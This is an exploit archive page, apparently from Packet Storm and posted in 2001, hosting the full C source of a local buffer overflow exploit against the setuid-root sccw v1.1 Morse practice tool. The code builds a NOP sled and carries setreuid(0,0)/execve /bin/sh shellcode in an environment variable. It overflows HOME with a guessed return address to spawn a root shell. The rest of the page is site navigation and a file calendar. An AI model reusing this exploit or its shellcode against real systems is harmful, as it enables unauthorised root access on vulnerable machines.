exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

hhp-sccw_smash.c

hhp-sccw_smash.c
Posted Sep 11, 2001
Authored by hhp, Cody Tubbs | Site hhp-programming.net

A local buffer overflow exploit for sccw v1.1 and maybe others. Will gain root[uid=0].

tags | overflow, local, root
SHA-256 | d1d7ed798702a71cff032aca0dd11741f3f394e38171c2bbc7a8a1538a4d3b4d

hhp-sccw_smash.c

Change Mirror Download
/*
* (sccw v1.1*) root[uid=0] local buffer overflow exploit.
*
* Author: Cody Tubbs (loophole of hhp).
* Site: http://www.hhp-programming.net/
* Email: pigspigs@yahoo.com
* Date: 6/4/2001. 2:51:34AM CST.
*
* Info: sccw is a Morse code practice utility, much like pileup.
* Is installed +s(suid root) by default.
*
* Tested on Slackware 7.1 2.4.5 x86.
*/

#include <stdio.h>

#define PATH "/bin/sccw" // Change if needed.
#define OFFSET -6226 // Worked for me, brute if fails.
#define ALIGN 1 // Should not need to be change.
#define NOP 0x90 // x86 No OPeration.
#define DBUF 300 // 256+4(ebp)+4(eip)=264.
static char shellcode[]= // 30 bytes setreuid(0,0) execve /bin/sh shellcode.
"\x31\xdb" // xor ebx, ebx // By bighawk[@warfare.com]
"\x31\xc9" // xor ecx, ecx
"\x99" // cdq
"\xb0\x46" // mov al, 70
"\xcd\x80" // int 80h
"\x53" // push ebx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x52" // push edx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h

long get_sp(void){__asm__("movl %esp,%eax");}

void workit(char *heh){
fprintf(stderr, "(sccw v1.1*) Local root[uid=0] exploit.\n");
fprintf(stderr, "Author: Cody Tubbs (loophole of hhp).\n");
fprintf(stderr, "Usage: %s [offset] [align(0..3)]\n", heh);
}

main(int argc, char **argv){
char eipeip[DBUF], buffer[4096], heh[DBUF+1];
int i, offset, align;
long address;
workit(argv[0]);
if(argc>1){offset=atoi(argv[1]);}else{offset=OFFSET;}
if(argc>2){align=atoi(argv[2]);}else{align=ALIGN;}
address=get_sp()-offset;
if(align>0){for(i=0;i<align;i++){eipeip[i]=0x69;}}//0x69.DOOT:D
for(i=align;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}
for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){buffer[i]=NOP;}
memcpy(eipeip,"HOME=",5);putenv(eipeip);
memcpy(buffer+i,shellcode,strlen(shellcode));
memcpy(buffer,"SCCWEX=",7);putenv(buffer);
fprintf(stderr, "Ret-addr %#x, offset: %d, align: %d.\n",address,offset,align);
execlp(PATH,"sccw",0);
}
[i

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close